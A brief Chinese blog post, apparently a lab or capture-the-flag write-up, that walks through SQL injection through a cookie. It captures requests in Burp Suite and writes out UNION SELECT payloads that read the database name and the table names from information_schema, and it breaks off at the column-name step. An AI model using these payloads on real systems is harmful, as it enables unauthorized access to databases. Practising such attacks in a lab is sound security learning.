LOnely_ec0li的博客

原创 Cookie注入

1.先找cookie，URL中输入/?id=12.用burpsuite抓包3.尝试注入，更改 id=123+union+select+database(),2# 查询到数据库名sqli4.查 询 表 名 接 着 更 改 id=123 union select group_concat(table_name),2 from information_schema.tables wheretable_schema=’sqli’#5.查 询 字 段 名 输 入 id=123...